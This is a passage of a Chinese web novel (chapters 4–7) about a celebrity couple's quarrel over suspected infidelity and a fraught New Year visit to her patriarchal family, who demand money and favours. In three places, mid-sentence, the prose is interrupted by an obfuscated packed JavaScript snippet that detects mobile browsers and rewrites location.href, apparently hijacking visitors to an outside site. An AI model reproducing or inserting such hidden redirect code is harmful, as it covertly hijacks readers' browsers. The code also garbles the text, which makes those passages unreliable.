两人那部戏当时还没播就因为流出的花絮太甜火到了外网,创作的同人CP文字数多到能绕地球三圈,一些磕上头的CP粉甚至恨不得直接把民政局搬到他们面前好让他们火速结婚。 他知道这件事的时候,气得天天跑去剧组盯梢宣誓主权,就怕老婆自制力抵挡不住诱惑。 可是现在看来,她好像真的有点抵挡不住诱惑了。 想到这些,贺敬琛烦躁地在床上动个不停。 身侧的人突然翻了个身,迷迷糊糊重新把手搭在了他的胸口,声音很轻,却格外清明:“你还没睡?” “嗯……”男人突然屏住了呼吸,察觉到自己翻来覆去的声响似乎吵到了她。 她睁开眼,双眸中满是清醒,淡淡问了句:“你在想什么?” “没想什么。”他这句话,竟莫名说得有些心虚。 “没想什么你为什么还不睡?”祝绾栀说完这句话,最后干脆开门见山道,“你是不是在怀疑我?怀疑我背着你出轨了?” 4. 第 4 章 男人表情突然一怔,没想到自己的猜疑在她面前竟表现得如此明显。 片刻后,他淡淡否认:“没有。” “你有!”祝绾栀从床上坐起来,气愤与委屈的情绪在她脸上交织着,“从医院回来你就一直不说话,都三点了你还不睡,你就是在怀疑我!” “你知不知道你今天在医院看我的眼神像什么?像在看一个犯人,你看我的大衣,看我的发型,看我几点收工,你在排除,在拿我对口供。” 贺敬琛同样从床上坐了起来,他缓缓抬眼,目光落在她脸上,却静得发沉:“绾绾……” 祝绾栀接着说:“你要是真的怀疑的话,干脆明天去街道调一下监控,好好看看那个人到底是不是我,也省得你大半夜还在疑神疑鬼。” “绾绾——”男人喉结上下滑动了一下,声音克制到有些发低,“我不是故意要怀疑你,是今晚舟子说看到你出现在酒店,还说看到咱们俩在消防通道接吻,他说得有鼻子有眼,连衣服和发型都说对了,所以我才……” 祝绾栀打断他:“说对衣服和发型就可以认定那个人是我吗?我今天身上那件大衣又不是什么买不起的限量款,还有丸子头,满大街的女生多的是扎丸子头的,难道那些人都是我吗?” “我知道。” “你不知道!”她大声说,“如果你知道的话,为什么不直接问我?为什么宁可自己脑补瞎猜也不主动问我?” 她盯着他的眼睛,心底闪过一丝心寒:“你不敢问,就是默认我出轨了,对吗?” 贺敬琛听到这儿,表情终于开始变得有些慌乱:“不是……” “贺敬琛,”祝绾栀语气开始变得有些哽咽,“我们在一起6年了,六年来我问过你一次行踪、查过你一次手机吗?我有怀疑过你吗?一次都没有,因为我相信你。可是你呢,因为看到一个似是而非的身影就怀疑我出轨?我们之间,现在连一点最基本的信任都没有了吗?” “绾绾,”面对她强有力的反驳,贺敬琛眉头一皱,开始解释,“我不是不相信你,我只是前段时间收到了一些匿名照片,里面全是你跟一个陌生男人在一起亲密的照片,我本来不相信的,可是今晚我在路上亲眼看见你们,他挽着你的手……” “什么叫他挽着我的手?”祝绾栀梗着脖子,委屈地为自己辩驳,“你现在已经默认那个人是我了吗?还有你说的什么照片,就因为几张来路不明的照片,你就已经怀疑得这么夜不能寐了吗?” 见她如此据理力争,贺敬琛干脆敞开直说:“那你告诉我,那个男人到底是谁?” “我怎么知道那个人是谁!我连你说的什么照片都没见过!”祝绾栀的情绪终于被这句话点燃,“你明明知道我今晚在拍戏,不可能出现在酒店,可你还是怀疑我,怀疑我背叛你,怀疑我出轨,我在你心里,就是这么不堪的一个人吗?” 贺敬琛不说话了,只是静静看着她,像在精准分析她脸上的情绪是否有误。 看着他那副审视的目光,祝绾栀一颗心彻底冷了下来:“算了,你爱怎么想就怎么想吧,反正……清者自清。” 说完,掀开被子便准备离开,却被回过神来的男人一把拉住了手:“你去哪儿?” “你都不相信我了,我还留在这儿干嘛?”她说着,努力想要挣脱他的束缚。 贺敬琛盯着她,大脑飞速运转后,突然从身后一把抱住了她,开始忏悔:“对不起绾绾,我知道我不该怀疑你,可我只是害怕,我害怕失去你。” “可你现在正在失去我。”她仰起头,眨了下有些湿润的眼睛,努力不让泪水落下。 “对不起,”他开始卖惨,“看在我现在好歹算个病人,脑子不清醒的份上,别跟我生气了,好吗?” 祝绾栀一改常态,完全不吃他这一套:“你活该,谁让你开车看别的女人。” “是。”他顺着她的话说,一副认错态度极好的模样,“我活该,千错万错都是我的错,我不应该不相信你,而且……我老婆怎么可爱,怎么可能会出轨嘛,对吧?” 祝绾栀试图去掰他的手,脸上满是气愤又委屈:“不对,我会出轨!” “你不会。” “我会!” “就算你真的出轨了,那我也认了。”贺敬琛抱着她的手紧了紧,声音哑得厉害,带着破罐子破摔的认真。他叹了口气,轻轻掰过她的肩膀,眉眼凝重地注视着她,“很晚了,你别生气了,一会儿不是还要回娘家,让爸妈看到我们这样多不好。” 祝绾栀睫毛扑闪着掀起眼皮,那些在眼眶里打转的泪水终于忍不住决堤落下,她挣开他的手,满是哭腔的声音委屈到了极致:“你为什么要怀疑我!” “对不起。”他再次道歉,“是我鬼迷心窍,我保证,以后绝对不会再怀疑你了,好吗?” 祝绾栀听着这话,直接哭得更大声了。 男人见状,满脸心疼地把人搂进怀里,低声哄着:“别哭了乖乖,实在不行,你打我一顿出出气成不?” 闻言,祝绾栀毫不客气地握紧拳头去捶他的肩:“都是你的错……” 贺敬琛不知哄了多久,总算是把哭的梨花带雨的小姑娘哄睡了。 他呆呆盯着天花板出神,突然开始后悔。 她刚才的反应是那么委屈,那么真诚,她怎么可能会出轨! 世上相貌相似的人多了去了,他竟然会在没有亲眼上前辨认的情况下就怀疑辛苦工作了一天的妻子背叛自己,还怀疑得那么光明正大。 他真该死啊。 第二天,两人一大早就起来收拾东西准备回家,祝绾栀站在衣帽间里,认真给他挑了一套休闲装,又拿了碘伏和纱布为他上药。 两人昨晚虽然因为信任问题闹了些不愉快,可看着他额头上那有些狰狞的擦伤,祝绾栀还是下意识地心疼:“怎么擦了这么大一块。” 贺敬琛眨了下眼,盯着妻子那张专注的脸,轻声说:“要是留疤破相了怎么办?” 祝绾栀捏着棉签的手顿了顿,刚要回答,贺敬琛却握住她的手,继续说:“你会不会不要我?” 祝绾栀目光死死盯着她,脸色突然沉了下来:“你又在试探我。” “这怎么能叫试探呢?我只是随口问问,如果我毁容了,你会不会——啊……痛,你就不能轻点吗?” 她报复似的用棉签在伤口上重重按了一下,一副不以为意的表情,淡淡道:“活、该,让你话多。” 他微眯着眼眸看她:“祝绾栀,我发现你现在是越来越骄纵跋扈,都敢跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525705|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我顶嘴了?” 祝绾栀把棉签扔进垃圾桶里,理直气壮:“那也是你惯的。” 贺敬琛愣了一下,是啊,从一开始和自己相处时的怯懦不安,到现在已经敢怼自己,这些都是他惯出来的。 不过至少说明,他这6年来把她养的很好。 他的手慢慢摸上她的后腰,一把将人带进怀里,扬起下巴去亲她的脸,嗓音低沉:“所以我现在是遭到‘反噬’了吗?” 祝绾栀拿着纱布的一角,有些害羞地躲开他的进攻,嘴角是藏不住的笑意,她扶住他的后脑勺:“别乱动,贴歪了……” 早上的气氛就这样在打打闹闹中变得融洽起来。 车子慢慢驶入瑜理地界,看着越来越熟悉的城镇,祝绾栀心里却莫名有些近乡情怯。 贺敬琛看出她的不安,伸手握住了她的手:“紧张啊?” 祝绾栀握紧他那双充满安全感的手,喃喃道:“好几年没回来了。” “别紧张,一切有我。” 他这话像一剂镇定剂,莫名安抚了她心里的那股慌乱。 祝绾栀跟家里的关系并不好,父母重男轻女,高考时自己考上了二本大学,家里却因为供不起两个孩子强迫她主动放弃大学,美名其曰不是清华北大,上不上都无所谓。 反正将来也是要嫁出去的赔钱货,没必要在自己身上做过多的投资。 那年她18岁,大哭一场后做了人生中最叛逆的决定,欺骗父母去外地打工,实则却在闺蜜季璇的鼓励下一个人去芙宜参加了当年超火的女团选秀节目。 也是在那一刻,她的人生发生了翻天覆地的变化。 她在跟110位女孩同台竞争中脱颖而出,以第五名的成绩顺利出道,还嫁给了老板的弟弟。父母对她的态度也因此改变,甚至小时候经常有恃无恐欺负她的弟弟如今也成了对自己阿谀奉承的狗腿子。 祝绾栀现在想起来也觉得挺可笑的,有些孩子一出生就是父母的掌上明珠,而有些孩子,只有父母在看到她有强大挣钱能力的时候才会被想起。 大概是还在记恨父母不让自己上大学的事儿,这些年她像个没有感情的ATM机,只寄钱,很少回家,就算回去也不会过夜,可是这次不一样,母亲白桂芬生病做了场大手术,她不得不回来。 人总是奇怪的,越是被父母忽视的孩子越渴望得到亲情,也越孝顺。 她痛恨身上那道无形的血缘枷锁,也痛恨父母坏得不彻底,好得不绝对的行为,让自己跟那个糟糕的原生家庭永远无法彻底切割,永远相爱相杀。 在她时而安心时而忐忑的心情中,家的方向还是出现在她的视野当中。 祝绾栀从副座下来,家里这些年靠着自己的接济今年在村里盖上了三层小洋房,她抬起头,看着眼前这栋陌生又崭新的房子,内心不由得感慨万千。 弟弟祝盛辉和母亲白桂芬一早就等在门口,祝盛辉手里还拿着束花,看见她,立马迎了上去:“姐,姐夫你们回来了。” 祝绾栀瞥了一眼院子里那辆崭新的车,随口问了一句:“你买车了?” “是啊。”他一脸得意道,“怎么样?帅吧?” 祝绾栀不屑地“切”了一声,小声嘀咕:“还不是花的我的钱。” 5. 第 5 章 白桂芬看着眼前许久未见的闺女,语气激动地喊了一声:“招弟回来了。” 祝绾栀听着母亲脱口而出喊出自己18岁以前的名字,表情愣了一下,她突然惊觉,自己改名改了个寂寞,回到家,父母甚至是街坊邻居,依然只会叫她“招弟”这个于她而言像个耻辱的名字。 她没有反驳,只是询问了一下母亲术后的身体状况。 “哎呀,我没事儿,倒是你……”白桂芬上下打量着闺女,眼中溢出一丝心疼,“最近瘦了好多,我听说你们当明星的长胖了会被骂,但也不能一直这么瘦啊……” 贺敬琛从后备箱拎出来大包小包的礼品,上前微微欠身:“妈,新年好,绾绾惦记您,非要回来看看,还给您买了点补品。” 面对这个女婿,白桂芬脸上永远堆着笑:“还是敬琛有心,不过下次不用这么破费,家里其实什么都不缺。” 她说着,看见贺敬琛额头贴着纱布,又忍不住关心了两句。 祝盛辉把花塞到祝绾栀怀里,立马殷勤地跑到后方帮忙拿行李和礼物。 几人说话间,周围已经围满了看热闹的邻居,准确来说,从车子驶入村口的时候,就已经有许许多多双眼睛注视着他们了。 祝家作为村里条件一般的人,突然培养出了一个明星闺女,加上这是祝绾栀第一次带丈夫回村过年,村里看热闹、想沾亲带故的人乌泱泱围过来,有老有少,有的甚至拿起手机拍摄,场面堪比小型的粉丝应援会。 大家叽叽喳喳,七嘴八舌地围在她身边讨论起来。 “哎呦,祝家的大明星回来了。” “招弟好几年没回来了,真是越长越漂亮了,这有钱就是好啊,一看就没少做保养。” “我闺女可喜欢你演的戏了,一会儿有空给签个名吧。” 有人甚至摸着她的车感叹:“我滴个乖乖,这车一看就值不少钱吧。” “哎呦,这就是你老公啊,长得真俊呐。” …… 祝绾栀脸上带着职业微笑,一边跟大家打个招呼一边进了院子,身后的贺敬琛像一只误入鸡群的鹤,近1米9的个子被一群村民围在中间格外显眼。 有个大姨甚至无比自然的上手握住了他的手臂感叹:“城里人就是不一样,这手真热啊,这脸长得一看就不缺营养。” 面对大家七嘴八舌的询问和时不时蹦出来许多他听不懂的方言,贺敬琛整个人显得格外局促,想要抽回手又不好意思,就连脸上的笑容都格外僵硬。 毕竟这场面……他还真没见过。 他甚至后悔在来之前没跟媳妇儿学些瑜理的方言,现在自己在这一群大姨当中,简直像极了一个什么也听不懂的外国人。 思及此,他低下头小声询问:“那几个大姨在说什么?没偷摸骂我吧?” 祝绾栀听着他的话,忍不住就笑了起来:“没有,她们是夸你长得帅啦。” 这家伙的疑心病还真是堪比皇帝。 两人进了堂屋,父亲祝军正跟大伯一家喝着茶,看见她,只是稍稍抬了一下眼,不咸不淡地说了句:“回来了。” 祝绾栀早已习惯父亲对自己不冷不淡的态度,倒是贺敬琛主动喊了一声“爸”,把东西放在角落里。 大伯母看见她倒是热情,起身拉着祝绾栀就是一阵打量:“我们招弟还真女大十八变,好几年没回来,长得比电视上好看多了。” 祝绾栀只是笑笑,跟贺敬琛一起坐在沙发上。 大伯母表情有些局促,努力扯着话题试图跟她拉近关系:“你们小两口感情真好,结婚这么多年,什么时候打算要个孩子?” 祝绾栀一听见“生孩子”这个话题只觉得头疼,果然,逢年过节只要跟长辈聊天,无论如何都绕不开“催婚催育”这个话题。 她正不知道该怎么回答,贺敬琛倒是无比自然地主动搭话:“我们暂时不打算要孩子。” 大伯母一拍大腿,以一副过来人的姿态开口:“那怎么行?现在正是生孩子的好年纪,等再过几年年纪上来了,生孩子都有风险。” 贺敬琛面上依旧挂着淡淡的笑,甚至把祝绾栀搂进怀里:“有风险的话,那就不生了。” 大伯母皱了下眉:“哪有女人不生孩子的?这像什么话?” 一旁的祝欣然扯了扯母亲的衣服,小声吐槽:“妈,人家明星都不会很早生孩子的,你别跟人家聊这个。” 大伯母闻言,表情顿时有些尴尬。 白桂芬在此时站出来说:“那个,招弟啊,这是你堂妹,欣然,你们小时候一块玩过的,还记得吗?” 祝绾栀抬头看了一眼面前清新可人的小姑娘,对于这个堂妹,她其实并没有什么印象。 只是在回来之前,白桂芬一直在电话里反复提起这次手术能顺利,大伯一家帮了不少忙,让自己有机会要报答。 所以……大伯一家今天之所以出现在这儿,想必是有求于自己。 果然,大伯母不再拐弯抹角地套近乎,直接开门见山道:“你堂妹也是学表演的,去年刚毕业,除了拍过几部短剧,也没什么露脸的机会,你在圈里人脉广,认识的导演多,能不能帮欣然推荐推荐,随便给个角色就行,我们不挑。” 祝欣然也跟着说:“堂姐,我不怕吃苦,只要你帮忙推荐,让我演女三女四也行。” 她抬头看了她一眼,有些官方地笑道:“推荐的话,我尽量,不过能不能选上,我就不敢保证了。” “行,”听见她答应,大伯母顿时欣喜若狂,“只要你给推荐就行。” 见闺女的事业有了着落,一旁的大伯端起茶杯忍不住感叹:“真是没想到,我们有一天也要仰仗招弟的面子。” “大伯,大伯母。”贺敬琛突然开口,“要帮忙可以,但是,能不能别再叫我太太的曾用名了?我太太现在叫绾栀,不叫招弟。” 在场的几位长辈闻言,表情皆是一愣。 包括祝绾栀也没想到他会突然来这么一句。 祝军更是不悦地抬头瞥了他一眼。 片刻后,大伯看了一眼祝军,不以为意甚至有些轻蔑地开口:“害,喊了18年招弟,突然换了个名字,我还真有点不太习惯,而且,绾栀不是艺名嘛,既然回家了,当然是喊真名方便点,是吧招弟?” “绾栀就是真名,”贺敬琛强调,“大伯,请你不要再喊招弟这个晦气的名字了,互相尊重一下吧。” 一直一言不发的祝军也在这时冷冷发话:“招弟的名字怎么就晦气了呢?我就觉得这名字不错,还顺口。” “就是因为这个名字太晦气了……”他顿了顿,态度坚决,“所以我们绾绾才会过了十八年零七个月的苦日子,所以,以后还是别叫的比较好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525706|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他这话,不仅仅是说给大伯一家听,而是说给在场所有人听的。 堂屋的气氛一时间降至了冰点,眼见长辈们个个面面相觑,祝绾栀正准备出来打个圆场,手却被贺敬琛那只温暖的手紧紧握住。 仿佛在告诉她,有他在,不用担心任何事。 半晌,大伯母讪讪笑了笑:“哎呦,一个名字而已,喊什么都一样啦。” “不一样。”他抬头,目光看向一旁不知所措的祝欣然,讽刺道,“大伯母,您要是喜欢这个名字,要不让您家然然把名字改成招弟好了,没准用了我老婆的曾用名,还能沾沾她的事业运。” “这……” 见贺敬琛摆明了就是一副为媳妇儿撑腰的态度,一旁的祝欣然生怕刚答应好的工作会黄,皱着眉头不满地嚷嚷:“妈,人家堂姐改名都改六年多了,干嘛还一直“招弟招弟”地喊人家。” 她说着,甚至上手轻轻拧了一下老母亲的胳膊,小声嘟囔:“人家要是喜欢这个名字,干嘛还费劲去改?你不会聊天就别聊!” 她不好意思地抬起头,一脸陪笑道:“你们别介意,我妈这人就是这样……没文化。” 祝绾栀则是目光感动地望向一旁的贺敬琛,没有想到他会记得这么清楚,也没想到他会当众为自己出头。 送走大伯一家后,祝军站起身弹了弹烟灰,挽起袖子开始准备晚上的年夜饭。 祝绾栀觉得她这爸什么都不好,唯独做饭的手艺还行,是十里八村有名的乡厨,家里每年的年夜饭都由他掌勺。 贺敬琛原本想本着“眼里有活”的原则去帮忙,只是他从小娇生惯养惯了,对厨房的东西一窍不通,勉强帮忙拔了个鸭毛,便被祝军一脸嫌弃地打发走了。 年夜饭过后,趁着贺敬琛去洗澡的间隙,祝盛辉突然拿着吹风机过来,一脸殷勤地表示要替祝绾栀吹头发。 在被她拒绝后,他又梅开二度,询问她想不想吃水果。 祝绾栀用毛巾擦了擦湿哒哒的发尾,眼神睥睨地看向自己这个看着就没憋什么好屁的弟弟:“无事献殷勤,你到底想说什么?” “真是啥事都瞒不过我姐哈。”祝盛辉坐在沙发扶手上朝她讪讪一笑,最后开门见山道,“那个……姐,你也知道我跟小雅今年五月就要结婚了,所以,你上个月答应我的,要帮我出彩礼的事儿考虑得怎么样了?” 祝绾栀听着这话,直接不可思议地瞪大了眼睛:“我什么时候说了要帮你出彩礼?” 这小子还真是说谎不打草稿,想钱想疯了吧。 看到姐姐的反应,祝盛辉同样不可思议地站起来:“就上个月,妈做手术那天,你说我媳妇家要的那30万彩礼由你来出。” “什么就由我来出了?”祝绾栀皱着眉,“是你结婚又不是我结婚,我凭什么要给你出彩礼!” “不是——”祝盛辉语气直接就急了起来,将目光望向一旁的祝军,“你怎么这样啊,你那天明明答应得好好的,而且那天爸也在,爸可以给我作证,我姐那天是不是说了要帮我出彩礼?” 祝盛辉抽着烟,轻飘飘地开口:“就30万块钱而已,对你来说又不多,再说那可是你亲弟弟!” 听着父亲把30万块钱说的好像3块钱一样简单,祝绾栀忍不住翻了个白眼:“我就知道,我每次回来,你们都只知道要钱。” 6. 第 6 章 “什么叫只知道要钱?”祝军板着张脸开口,“都是一家人,你现在有能力了,帮帮你弟弟又能怎样?” 面对父亲理直气壮的要求,祝绾栀站起身忍无可忍地反驳:“我没帮他吗?家里这房子,门口那辆车,哪一个不是我的钱?你还要我怎么帮他?” 祝盛辉靠在沙发边小声嘀咕:“外面那车是妈给我买的,跟你可没关系。” “跟我没关系吗?”祝绾栀冷笑着,“我要是不给妈寄钱,她能给你买车?你还真好意思啊。” “是是是,”白桂芬赶紧出来打圆场,“你是帮了你弟很多,那现在再帮他一下成不?” 她不服:“我凭什么要一直帮他?凭什么每次都是我帮他?他长这么大有帮过我一次吗?” “那他是你弟弟呀,而且他才大学毕业,他能帮得上你什么忙啊?” 祝绾栀在听到这番理直气壮的话后,顿时就不乐意了,气愤地将双手交叉在胸前:“就因为我是姐姐我就要一直帮他吗?要我说,既然没有钱那就别结婚,等有钱了再说。” 闻言,祝军立马愤愤道:“你这什么话?男大当婚女大当嫁,没钱就不能结婚了?老话说的好,先成家再立业,你是要你弟打一辈子光棍才满意吗?” 面对父亲的咄咄逼人,祝绾栀毫不示弱地吼了回去:“那就让他自己想办法凑彩礼呀,找我干嘛?!” 见她突然拔高音量,祝盛辉紧张地瞄了一眼二楼地位置,手上疯狂做着噤声的动作:“姐你别那么大声行吗?一会儿让姐夫听见了。” 祝绾栀重新坐下,双手环抱于胸前,脸上满是不屑:“怎么?他结婚我就得帮他出彩礼,我结婚的时候呢?你们连个像样的嫁妆都没给我置办过。” 祝军被气得咬牙切齿,开始唾沫横飞:“那贺家那么有钱,你嫁过去人家能委屈得了你?要不说你是赔钱货,净想着把好处往别人家捞,家里总共就那么点钱,全给你置办嫁妆了,你弟怎么办?我们还过不过了!” 眼看着父女俩越吵越凶,白桂芬再次当起了和事佬:“好了好了,闺女好不容易回来过个年,你们别吵了,说什么赔钱货,咱们家现在日子过得这么好,你能成天抽中华,还不是闺女的功劳,你还好意思说闺女是赔钱货,亏你说的出来。” 说着,她开始对闺女采用迂回战术:“招弟……哦不,绾栀啊,妈知道,你工作也很辛苦,你要实在不想帮你弟弟出这个钱,那就当是他问你借的,等你弟工作挣到钱了就还你,你看行吗?” 大概是顾及母亲刚做完手术不能激动,祝绾栀情绪终于缓了下来,慢吞吞地开口:“要借钱可以,不过……得写借条。” 一听到要写借条,祝盛辉的不情愿几乎写在了脸上:“一家人写什么借条?而且你那天明明答应过要帮我出的,你一大明星说话怎么能出尔反尔!” 祝绾栀懒得搭理他,继续说:“亲兄弟还明算账呢,就因为是一家人,我只让你写个借条,又没跟你要利息,你不写可以啊,反正是你结婚,又不是我结婚。” 白桂芬赶紧说:“行行行,那这样,借条妈来写行吗?” 她板着脸拒绝:“不行,谁借的钱就由谁来写,我看我这钱还是不借的比较好,他连借条都不肯写,摆明了就是不想还。” 祝军直接暴跳如雷:“祝招弟!你是要逼死你弟才满意吗?!” 眼瞅着父女俩要大吵一架,祝盛辉赶紧摆手示意祝军冷静,想着赶紧先把钱拿到手再说,不情不愿道:“行行行,我写,我写还不行嘛。” 白桂芬坐到闺女身边,拉过她的手语重心长地继续说:“还有个事儿,就是,你弟厂里那个工作辞了,你看能不能问问敬琛,在他公司给盛辉安排个职位?” “这事儿我可帮不了,”她身子往后一躺,慢条斯理地捋着头发,“他们公司录取员工的最低条件就是本科学历,祝盛辉他才大专,简历都投不进去。” 祝盛辉语气不耐地坐到她身边:“就是因为简历投不进去,所以我才找你啊,你跟姐夫说一声,我不就可以不用简历了。” “不行,他的公司我可说不上话。” “怎么会说不上话呢?你们是夫妻,他的公司不就是你的公司,姐你是不是不想帮我?” 她不理解地扭过头:“你说你在瑜理好好的非要去芙宜工作干嘛?那里房租和物价都很贵,你去那儿工作,每个月的工资全拿去交房租了,能攒到什么钱?” 说到这儿,她像是突然意识到了什么,眯着眼睛审视着他:“你该不会……是想住到我家去吧?” 眼见自己心里的那点小九九被老姐看穿,祝盛辉只得谄媚笑着:“可以吗?” 她义正辞严地拒绝:“你想都别想!” 祝盛辉开始试图撒泼:“可是瑜理是三线城市,根本就找不到双休的工作。” “找不到双休的工作,你就干单休的呗,有多少能力就干多少能力的事儿不知道吗?” “现在都不提倡吃苦,我才不要给万恶的资本家一周打6天工,姐你就帮帮我吧,而且等我有稳定工作了,到时候我就能还你钱了。” “不提倡吃苦?那现在还不提倡当伏弟魔你怎么不说!”她说,“而且你学历不够我怎么帮你?再说他那公司虽然是双休,但是忙起来也得随叫随到,还不如单休的工作。” “那也比在瑜理工作有前途啊。” 她无奈:“这事儿我真帮不了你,都说了你学历不够。” 祝军吸完最后一口烟,几乎是用命令的语气趾高气昂道:“不是,怎么你弟弟现在找你帮个忙就这么难?他大专学历怎么了?你就这么看不起你弟的学历?那大学生能比大专生高贵多少?” “就是,”仗着有父亲撑腰,祝盛辉也在一旁附和,“你不肯帮我是不是还在记恨爸妈当年不让你上学的事儿?可是你当初要是去上了大学,说不定还遇不上姐夫,当不了大明星,等毕业了一个月估计撑死也就能挣四五千块钱,你不偷着乐就算了,还埋怨上了。” 祝绾栀快被气笑了:“你的意思是,我要感谢你们不让我上大学吗?” 他理直气壮:“那可不。” 大概是意识到女儿逐渐脱离了自己的掌控,祝军突然忍无可忍般从椅子上站了起来,高高在上地指责道:“祝招弟,我怎么养了你这么个白眼狼的闺女,别人家的闺女发达了,都是想尽办法帮家里人。你呢?让你给你弟出个彩礼钱还得写借条,现在连给你弟找个工作都不乐意,让他住在你们家又能怎样?你们两口子住1000多平的大别墅,给他空出来一个房间是会少块肉吗?你现在是大明星了,有钱了,就想摆脱我们了是吧?你还真是孝顺啊!” 祝绾栀只觉得她这父亲有时候真的是难以沟通,干脆直说:“爸,反正这事我是说不上话,他要真想去他公司工作,那他就自己找他说去,别缠着我。” 祝盛辉还在求她:“你帮我去说嘛。” 她偏过头去看他,眼神里带着一丝怨怼:“是你要找工作,又不是我要找工作,凭什么我帮你去说,你就那么怕他吗?刚才吃饭的时候一口一个姐夫不是叫的挺亲热的吗?” 听到她这讥讽般的话语,祝盛辉突然就噤声了。 关于这个姐夫,祝盛辉一直是害怕的,毕竟他每次总能用最轻描淡写的语气对自己说出最严厉的警告,否则,他也不至于趁他不在的间隙才敢跟祝绾栀开口了。 尤其姐姐这些年不知道是不是被姐夫“洗脑”洗多了,这两年家里能从她身上能要到钱的概率越来越低,这次要不是他夸大了妈的手术费用,他还薅不到钱买车。 两人争执之间,洗完澡的贺敬琛被争吵声吸引下来,站在祝绾栀身边一脸疑惑地问了句:“怎么了?” 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525707|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他下来后,客厅里的几人瞬间默不作声,仿佛刚才的争吵并不存在一样。 过了许久,白桂芬脸上堆着笑缓缓开口:“敬琛啊,妈跟你商量个事儿。” 贺敬琛一副洗耳恭听的样子,和媳妇坐在对面沙发:“您说。” 祝母叹了口气,目光往祝盛辉的方向瞟了一眼,声音压低了半分:“还不是盛辉那孩子,去年大专刚毕业,在厂里干得也不顺心,一个月就挣那点儿钱,连自己都养不活。这不马上要结婚了嘛,总不能让人家姑娘跟着他吃苦。” 她顿了顿,观察着贺敬琛的表情,见他没什么反应,才继续往下说:“我就想着,你公司那么大,能不能给他安排个活儿干?也不用多好的职位,就让他有个正经事做,锻炼锻炼。” 她说得轻描淡写,好像只是在请求一个举手之劳。 贺敬琛没有立刻回答,只是看了一眼气鼓鼓的妻子,像是在询问她的意见,许久,他这才慢条斯理地开口:“工作我倒是可以安排,不过……得从基层做起,毕竟,公司不是我一个人的,我这后门也不能开的太明显。” 祝盛辉大概是没想到姐夫这次竟会这么好说话,想都没想就满口答应:“行,基层就基层,我一定会好好干的。” 白桂芬继续为儿子争取利益:“那你们公司有没有员工宿舍?毕竟芙宜和瑜理离得还挺远的,总不能让他一直来回跑吧。” 贺敬琛明白岳母大人话里的意思,故作为难道:“公司一般不会给小职员安排员工宿舍,这个事,我跟绾绾先商量一下吧。” 言毕,找了个借口把媳妇拉离了这个窒息的客厅。 两人一块儿上了二楼房间,入眼是一片醒目的红色四件套。 祝绾栀想起祝盛辉下午邀功似的把自己拉来这个房间,说是为了感谢自己出钱为家里盖房,所以特意把家里最大的房间留给自己。 可她心里清楚,这房间实际上是祝盛辉留给自己的婚房,为了可以从她这儿获取好处,所以才借她暂住的罢了。 她关上门,立马不解地询问:“你为什么要答应帮他介绍工作,还想让他住在我们家?” 毕竟,他当初可是认真传授过自己不要无底线帮助原生家庭的。 贺敬琛拿过吹风机插上电源:“我不是在帮他,我是在帮你。” 他声音很轻,慢慢向她解释:“与其让他一直在家没有工作靠你接济,不如给他一个闲职,万一你弟真是一个可造之材……也挺好的。” 祝绾栀小声嘟囔:“他那人算什么可造之材,不在公司闯祸就算不错的了,而且,我才不会接济他呢。” “你会的。”他低头看向她,目光柔和且笃定,轻声说,“现在的你还做不到那么绝情。” 说着,他摁下吹风机的电源,手指在她发间穿梭。 作为她的丈夫,贺敬琛清楚地明白,自己的妻子是个心软的人,祝家一边重男轻女,疯狂向她索取好处,可又会在她生病的时候给她打钱,关心她。 就是这种好的不绝对,坏的不彻底的家庭纽带和那道该死的血缘关系,注定了她这辈子都不可能跟原生家庭切割。 从前他厌恶她无法脱离原生家庭这个泥潭,在心里指责她是个受虐狂,甚至为此当过逃兵提了分手。 可是后来他想明白了,越是被父母忽视的孩子总是会比别人更渴望得到亲情,也会把父母间歇性的关心当成他们爱自己的凭证来苦苦支撑。 尤其在这样一个重男轻女的家庭里,她可能从小就被灌输了“要对家庭负责”的愧疚感。她不是不想逃,而是还没攒够心理上的“逃跑资本”。 所以现在他想明白了,既然无法说服她跟原生家庭彻底割席,那就教她怎么限制帮助原生家庭的频率。 毕竟,她离不开原生家庭,他也离不开她,他们本质上是一路人,也一直都是共生的关系。 7. 第 7 章 祝绾栀在吹风机的嗡鸣声中抬起头,想反驳,但对上他那双仿佛能把人看穿的眼睛,话到嘴边又咽了回去。 因为他说的是对的。 她可以对着父母和弟弟摆出冷脸,可以逼着他们写欠条,可如果有一天祝盛辉真的走投无路,她做不到袖手旁观。 她嘴唇动了动,像是想要证明自己其实有所长进,轻声说:“可是我今天就拒绝了我弟让我帮他出30万彩礼钱的要求,我还让他写了借条。” 贺敬琛挑了挑眉,有些意外:“是吗?” 